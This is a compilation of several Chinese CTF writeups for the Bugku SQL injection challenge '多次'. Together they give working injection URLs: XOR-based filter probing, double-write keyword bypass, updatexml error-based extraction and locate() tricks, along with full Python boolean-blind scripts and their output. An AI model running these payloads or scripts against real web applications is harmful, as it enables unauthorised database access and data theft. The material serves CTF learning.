bugku中的多次(異或注入,updatexml報錯注入,union過濾和locate繞過,布林盲注)writeup
首先我們判斷一下是什麼注入型別
注意輸入的是英文字元',中文不會轉變為%27,報錯,說明是字元注入
這時候我們就要判斷一下SQL網站過濾了什麼內容,我們可以使用異或注入來判斷哪些字串被過濾掉了
http://120.24.86.145:9004/1ndex.php?id=1%27^(0)%23
正常執行,我們在輸入
http://120.24.86.145:9004/1ndex.php?id=1%27^(1)%23
出現錯誤,這是因為id後面的內容首先要和^後面的內容進行異或,報錯的語句是因為異或以後id變為0資料庫查詢不到相關的資訊,產生錯誤,也就是括號裡得到內容如果為真則會產生錯誤,為假則會正常執行,我們可以利用這個進行判斷哪些字元被過濾掉了,輸入
http://120.24.86.145:9004/1ndex.php?id=1%27^(length(%27union%27)%3E0)%23
%3E是>號,頁面顯示正常,這就是說length('union')>0這個語句是錯誤的,也就是union已經被過濾掉了。
通過以上的方法我們可以找到所有被過濾的字元 select union or and 而limit和from沒有被過濾
我們構造SQL注入語句
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,2%23
看到了一個回顯,就是在2的位置上,我們繼續查詢資料庫名和表名
-
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,database()%23
-
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20table_name%20from%20infoorrmation_schema.tables%20where%20table_schema=database()%20limit%200,1)%23
-
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20column_name%20from%20infoorrmation_schema.columns%20where%20table_schema=database()%20anandd%20table_name=%27flag1%27%20limit%200,1)%23
-
http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20column_name%20from%20infoorrmation_schema.columns%20where%20table_schema=database()%20anandd%20table_name=%27flag1%27%20limit%201,1)%23
得到資料庫名稱為web1002-1,表名為flag1,有兩列,flag1,address
查詢flag1得到第一個flag usOwycTju+FTUUzXosjr
因為題目說是有兩個flag所以在查詢一下address
得到
點選下一關
依然是一個SQL注入的題目,這裡比較坑的就是,他的字型顯示的是黑色的,當我們輸入'的時候
存在SQL注入,並且我們可以從回顯中檢視哪些被過濾掉了,注意是錯誤中的顯示才是正確的,
輸入union沒有反應說明是被過濾掉了,輸入雙重union
發現select也被過濾掉了,
發現無法回顯,只能使用指令碼進行爆破
http://120.24.86.145:9004/Once_More.php?id=-1%27union%20select%20sleep%20or%20and%20if%20limit%23
發現sleep也被過濾掉了,測試之後發現substr也被過濾掉了,所以使用locate函式達到這樣的效果
http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'{',(select user()),2))=2%23
具體的程式碼
-
def flag2():
-
flag =''
-
for j in xrange(1, 100):
-
temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
-
key = 0
-
for i in temp:
-
url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',(select flag2 from flag2),"+str(j)+"))="+str(j)+"%23"
-
r1 = rs.get(url)
-
# print url
-
if "Hello" in r1.text:
-
print str(i)+" -----"+str(j)
-
flag += str(i)
-
print "[*] : "+flag
-
key = 1
-
if key ==0:
-
break
其他的測試database和這個的類似
-------------------------------------------------------
登陸後發現頁面沒有啥資訊,但是url位址列?id=1 可能存在注入
id=1後面加單引號會報錯,後面加--+註釋返回正常,確定存在SQL注入
?id=1'or 1=1--+ 也報錯,可能存在過濾
嘗試雙寫繞過,?id=1'oorr 1=1--+ 返回正常
那如何檢測哪些字串被過濾了呢?新技能GET!
異或注入瞭解一下,兩個條件相同(同真或同假)即為假
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+
如果返回頁面顯示正常,那就證明length(‘union’)==0的,也就是union被過濾了
同理測試出被過濾的字串有:and,or,union,select
都用雙寫來繞過,payload如下:
爆資料表 (注意:information裡面也有or)
http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
爆欄位
http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
爆資料
http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1--+
提交flag顯示錯誤,換個欄位,爆address,得出下一關地址
進去又是一個SQL注入
大小寫繞過pass,雙寫繞過pass
這裡利用 updatexml() 函式報錯注入
首先了解下updatexml()函式
UPDATEXML (XML_document, XPath_string, new_value);
第一個引數:XML_document是String格式,為XML文件物件的名稱,文中為Doc
第二個引數:XPath_string (Xpath格式的字串) ,如果不瞭解Xpath語法,可以在網上查詢教程。
第三個引數:new_value,String格式,替換查詢到的符合條件的資料
作用:改變文件中符合條件的節點的值
改變XML_document中符合XPATH_string的值
而我們的注入語句為:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的 concat() 函式是將其連成一個字串,因此不會符合XPATH_string的格式,從而出現格式錯誤,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
payload 如下
-
# 查資料表
-
http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
-
# 查欄位
-
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
-
# 查資料
-
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23
最後爆出 flag
-----------------------------------------------------------------------------------------------------
採用異或注入。
在id=1後面輸入 '(0)'
發現不出錯,那就將0換成1=1
如果出錯,那就是成功了
進入連結
測試?id=1'
報錯
My Id =1'
Nobody!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
我還是一樣的辦法測試過濾
union substr sleep
雙寫無法繞過,大小寫無法繞過,/*!*/
無法繞過。
更換函式,利用updatexml報錯。
payload
# 查表
http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
# 結果
Nobody!
XPATH syntax error: '~class,flag2~'
# 查欄位
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
# 結果
Nobody!
XPATH syntax error: '~flag2,address~'
# 查資料
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23
# 結果
Nobody!
XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~'
本題也可以用布林盲注來做,畢竟有回顯和明顯的TF標誌,因為碰巧也在學習盲注,做了一下,這裡附上指令碼:
import requests
def length_schema():
for x in range(1,20):
url = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20length(database())='+str(x)+'%23'
s = requests.get(url)
if "Hello" in s.text:
print 'schema_length is :' + str(x)
global a
a = int(x)
break
def schema_name():
x = 0
name = ''
while x < a:
x = x + 1
temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~'
for i in temp:
url = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20mid(database(),'+ str(x) +',1)=%27'+str(i)+'%27%23'
s = requests.get(url)
if "Hello" in s.text:
name = name + str(i)
print 'sechma_name is :' + name
global schema_name
schema_name = name
def all():
temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~'
temp_data = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for x in xrange(0,20):
table_name = ''
for y in xrange(1,20):
key = 0
for i in temp:
url = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27'+schema_name+'%27%20limit%20'+str(x)+',1),'+str(y)+',1))=ascii(\''+str(i)+'\')%23'
s = requests.get(url)
if "Hello" in s.text:
key = 1
table_name = table_name + str(i)
if key == 0:
break
if table_name == '':
break
print 'one of tables is:' + table_name
for p in xrange(0,20):
column_name = ''
for q in xrange(1,20):
key = 0
for i in temp:
url_columns = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20ascii(mid((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27'+schema_name+'%27%20and%20table_name=%27'+table_name+'%27limit%20'+str(p)+',1),'+str(q)+',1))=ascii(\''+str(i)+'\')%23'
s = requests.get(url_columns)
if "Hello" in s.text:
key = 1
column_name = column_name + str(i)
if key ==0:
break
if column_name == '':
break
print 'a column name of '+table_name+' is '+column_name
for y in xrange(0,10):
data = ''
for z in xrange(1,20):
key = 0
for i in temp_data:
url_data = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20ascii(mid((select%20'+column_name+'%20from%20`'+schema_name+'`.'+table_name+'%20limit%20'+str(y)+',1),'+str(z)+',1))=ascii(\''+str(i)+'\')%23'
s = requests.get(url_data)
if "Hello" in s.text:
data = data + str(i)
key = 1
if key == 0:
break
if data == '':
break
print 'one data of '+schema_name+'.'+table_name+'\'s '+column_name+' is '+data
def main():
length_schema()
schema_name()
all()
if __name__ == '__main__':
main()
結果
schema_length is :9
sechma_name is :web1002-2
one of tables is:class
a column name of class is id
one data of web1002-2.class's id is 1
one data of web1002-2.class's id is 2
one data of web1002-2.class's id is 3
one data of web1002-2.class's id is 4
one data of web1002-2.class's id is 5
one data of web1002-2.class's id is 6
one data of web1002-2.class's id is 7
a column name of class is name
one data of web1002-2.class's name is TOM
one data of web1002-2.class's name is Jack
one data of web1002-2.class's name is Mack
one data of web1002-2.class's name is Jones
one data of web1002-2.class's name is James
one data of web1002-2.class's name is Fox
one data of web1002-2.class's name is Henry
one of tables is:flag2
a column name of flag2 is flag2
one data of web1002-2.flag2's flag2 is flag{Bugku-sql_6s-2
a column name of flag2 is address
one data of web1002-2.flag2's address is .
[Finished in 1620.8s]
知識點
報錯注入,基本的過濾和繞過,布林盲注
--------------------------------------------------------------
進入連結
這裡還是一個考注入,那就常規測試一下,加上單引號
出現報錯,還是最常見的報錯,那就是要%23注析掉了
然後繼續測試其他的
1=2出錯
1=1正常
Order by 2也正常
一切都好順利
‘ union select 1,2%23
出現了過濾,把union過濾了
用之前的方法繞過
‘ uniunionon select 1,2%23
發現把select也吃掉了
那就測試一下看看還有那些函式被過濾了
直接在id後面輸入函式就可以知道,因為有回顯我們輸入的資料
id=1 union select limit from and or where if sleep substr ascii
發現 union sleep substr被過濾了
那就是不能回顯,substr也不能用了
我這裡用了一個不常用的函式locate()
直接判斷查出來的資料裡面有那些字元,然後將它們按順序排序
def user():
flag =‘‘
for j in xrange(1, 100):
temp = ‘!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~‘
key = 0
for i in temp:
url = "http://120.24.86.145:9004/Once_More.php?id=1‘and (select locate(binary‘"+str(i)+"‘,(select user()),"+str(j)+"))="+str(j)+"%23"
r1 = rs.get(url)
# print url
if "Hello" in r1.text:
print str(i)+" -----"+str(j)
flag += str(i)
key = 1
if key ==0:
print "[*] : " + flag
break
完整程式碼在我的GitHub裡面有
----------------------------------------------------------
整個頁面沒有任何可以入手的地方,再看URL:http://120.24.86.145:9004/1ndex.php?id=1
太明顯的SQL注入了,然後給id多賦值幾次,會發現作者又在各種忽悠我們,不過等到id=5的時候他告訴我們"You can do some SQL injection in here."
然後開始各種注入測試啊:
1、加上一個單引號
http://120.24.86.145:9004/1ndex.php?id=1'
——報錯(注意,一定要是英文的單引號哦!)
2、加上一個單引號和%23
http://120.24.86.145:9004/1ndex.php?id=1'%23
——不報錯
3、加上一個單引號和and 1=1和%23
http://120.24.86.145:9004/1ndex.php?id=1' and 1=1%23
——又報錯了
原因分析:肯定是過濾了什麼,但我們不知道過濾的是什麼,所以使用異或查詢。
異或查詢:
1、使用:在id=1後面加上'^(str)^' str是由我們定義的命令
2、原理分析:
id=1為真,如果它異或一個假,那就返回真,整個頁面也就正常;反之,如果它異或一個真,那就返回假,這個頁面也就不正常
所以,如果頁面正常與否和命令的真值是相反的——頁面正常,命令的真值為假;頁面不正常,命令才為真
3、簡單實驗:
a.?id=1'^(0)^' 頁面正常
b.?id=1'^(1=1)^' 頁面不正常
//注意:輸入URL的時候單引號一定要是英文的!!!小心輸入法的坑!
4、應用:
如果我們把括號裡的內容換成 length(‘union’)!=0
頁面返回正常,那麼str就是假的,也就是說'union'這個字串的長度為0,那麼就是被過濾掉了
總之,如果頁面正常,那麼該字串就被過濾掉了,如果出錯,那就是沒被過濾掉。
異或注入檢測之後發現:union,select,and,or被過濾掉了;limit,from沒有被過濾掉
我們得到了第一個flag和一個地址:./Once_More.php
又是一個SQL注入,
繼續素質好幾連:
id=1' 報錯
id=1'%23 不報錯
id=1' and 1=1%23 不報錯
id=1' and 1=2%23 報錯
id=1' and 1=2 union select 1,2%23 根據顯示出來的東西,發現它會過濾
既然它會有所輸出,那我就把所有的要用到的字元都輸進去,看看它會怎麼樣
id=1 union select limit from and or where if sleep substr ascii
發現union sleep substr都不能用了
剩下的我實在是不會了,只能借鑑大佬的了:
那就是不能回顯,substr也不能用了
我這裡用了一個不常用的函式locate()
直接判斷查出來的資料裡面有那些字元,然後將它們按順序排序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
|
---------------------------------------------------------------------------
傳送門
看到ID,先fuzz一下
一個單引號報錯,%23閉合以後正常
用異或這個套路進行過濾檢測,有兩種套路,一種是註釋閉合,一種是兩個單引號,兩個^閉合
|
當括號中的值為真時頁面會報錯,則可以構造測試語句
比如判斷union是否被過濾
|
返回的是id=1的介面,代表length(‘union’)返回值為0,union已經被過濾了,select也被過濾了
然後可以雙寫繞過,有意思的是,flag並不對,想到題幹說有兩個flag,又翻了翻
找到下一個網站的Payload
|
後半部分的入口
可以當作一個布林注入用指令碼跑,也可以用報錯注入
bool注入
貼一個我寫的很醜的指令碼,不過效率還是蠻高的,二分查詢
|
address欄位有一個./Have_Fun.php,開啟看看
二維碼掃描後看到提示
還有後續注入,有點崩潰
http://120.24.86.145:9004/ErWeiMa.php?game=1
但是注入了半天沒有結果。。最後把之前查到的flag{Bugku-sql_6s-2i-4t-bug}全部換為小寫後提交又正確了
原因應該是LEFT,MID,RIGHT在比較的時候是不區分大小寫的
但是不是很懂出題人留這個後續注入的意思,很迷,或許第二個flag是要把這個注入出來?有興趣可以試試
------------------------------------------------------------
這個題目感謝一下超哥的指導
我們進去之後先測試一波
開始輸入 ?id=1’
頁面返回錯誤(但不是報錯資訊),新增 ?id=1’%23
則沒有報錯猜測應該是單引號閉合,繼續嘗試 ?id=1’ and 1=1%23
則又開始報錯了,
這裡學到一種新的注入方式異或注入
id後面輸入 1’^(0)^’
,此時頁面正常返回,如果換一下 ‘^(1)^’
,此時則會返回錯誤,那麼接下來我們就可以試一下頁面究竟過濾了那些關鍵字。比如 1’^(length(‘select’)=6)^’
測試這個select
應該是被過濾的了,實現的語句應該是id=1'^0^0
,有過濾返回正確,而無過濾的時候就會返回錯誤
測試得到以下關鍵字被過濾
select,union,or,and
我們先嚐試用seselectlect
這樣的形式過濾,怎麼測試呢,也是剛才的語句 1’^(length(‘seselectlect’)=6)^’
這裡返回了錯誤,說明繞過成功了
下面就是常規操作
?id=1' oorrder by 3%23 # 爆欄位數
?id=-1' ununionion seleselectct 1,database() %23
注意information的繞過
?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() %23
?id=-1' ununionion seleselectct 1,group_concat(address) from flag1%23
最後得到下一個頁面的地址
在一次嘗試,發現這個頁面是個報錯注入,多次嘗試發現union關鍵字被過濾,一旦union被過濾我們只能用報錯注入的方法,一步步來了
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=flag2),0x7e),1)%23
?id=1' and updatexml(1,concat(0x7e,(select flag2 from flag2),0x7e),1)%23
得到flag,注意提交flag的格式全部都是小寫
總的來說這個題還是學到很多的,一是通過異或注入判斷過濾的關鍵字,二是在union被過濾的情況之下要想到報錯注入的方式
---------------------------------------------------------------
沒有回顯,只能盲注,接下來是指令碼
這題我好多flag啊........
首先頁面是有回顯的注入,過程如下
-
資料庫
-
?id=-1%27ununionion seselectlect 1,database()%23
-
回顯web1002-1
-
資料表
-
?id=-1%27ununionion seselectlect 1,(seselectlect table_name from infoorrmation_schema.tables where table_schema="web1002-1" limit 0,1)%23
-
回顯flag1
-
?id=-1%27ununionion seselectlect 1,(seselectlect table_name from infoorrmation_schema.tables where table_schema="web1002-1" limit 1,1)%23
-
回顯hint
-
flag1欄位
-
?id=-1%27ununionion seselectlect 1,(seselectlect column_name from infoorrmation_schema.columns where table_name="flag1" limit 0,1)%23
-
回顯flag1
-
?id=-1%27ununionion seselectlect 1,(seselectlect column_name from infoorrmation_schema.columns where table_name="flag1" limit 1,1)%23
-
回顯address
-
hint欄位
-
?id=-1%27ununionion seselectlect 1,(seselectlect column_name from infoorrmation_schema.columns where table_name="hint" limit 0,1)%23
-
回顯id
-
?id=-1%27ununionion seselectlect 1,(seselectlect column_name from infoorrmation_schema.columns where table_name="hint" limit 1,1)%23
-
回顯contents
-
值
-
flag1
-
?id=-1%27ununionion seselectlect 1,(seselectlect flag1 from flag1)%23
-
回顯usOwycTju+FTUUzXosjr
-
?id=-1%27ununionion seselectlect 1,(seselectlect address from flag1)%23
-
回顯./Once_More.php
然後就看到有另一個連結
又是sql注入,id=1'時會報錯
?id=1' or 1%23 正常回顯
?id=1' order by 2%23 這樣可以確定有兩列
?id=1' and length(database())=9%23 確定資料庫長度為9
而且我們可以看到我們的注入語句,所以可以知道過濾了什麼
沒有回顯,只能盲注,接下來是指令碼
-
#資料庫
-
import requests
-
url = "http://120.24.86.145:9004/Once_More.php"
-
guess = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456_"
-
# guess = "w"
-
char = "Hello,I Am Here!"
-
database=""
-
print("start!")
-
for i in range(1,10):
-
for j in guess:
-
payload = {'id':"1' and mid((select database()),%s,1)='%s'#"%(i,j)}
-
res = requests.get(url=url,params=payload).text
-
# print(res)
-
if char in res:
-
database += j
-
print(database)
-
break
-
print("end!")
-
#資料表
-
import requests
-
url = "http://120.24.86.145:9004/Once_More.php"
-
guess = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456_"
-
# guess = "w"
-
char = "Hello,I Am Here!"
-
print("start!")
-
for i in range(1,10):
-
print(i)
-
table = ""
-
for j in range(1,20):
-
for k in guess:
-
payload = {'id':"1' and mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)='%s'#"%(i,j,k)}
-
res = requests.get(url=url,params=payload).text
-
# print(res)
-
if char in res:
-
table += k
-
print("the %s table %s"%(i,table))
-
break
-
print("end!")
-
#欄位
-
import requests
-
url = "http://120.24.86.145:9004/Once_More.php"
-
guess = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456_"
-
# guess = "w"
-
char = "Hello,I Am Here!"
-
print("start!")
-
for i in range(1,10):
-
print(i)
-
column = ""
-
for j in range(1,20):
-
for k in guess:
-
payload = {'id':"1' and mid((select column_name from information_schema.columns where table_schema=database() limit %s,1),%s,1)='%s'#"%(i,j,k)}
-
res = requests.get(url=url,params=payload).text
-
# print(res)
-
if char in res:
-
column += k
-
print("the %s column %s"%(i,column))
-
break
-
print("end!")
-
#值
-
import requests
-
url = "http://120.24.86.145:9004/Once_More.php"
-
guess = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456_{}@~,.;:/'\*-+"
-
char = "Hello,I Am Here!"
-
print("start!")
-
flag = ""
-
for i in range(1,30):
-
for j in guess:
-
# payload = {'id':"1' and mid((select flag2 from flag2 ),%s,1)='%s'#"%(i,j)}
-
payload = {'id': "1' and mid((select user()),%s,1)='%s'#" % (i, j)} #這個是大佬說的正確的flag
-
res = requests.get(url=url,params=payload).text
-
if char in res:
-
flag += j
-
print(flag)
-
break
-
print(flag)
-
print("end!")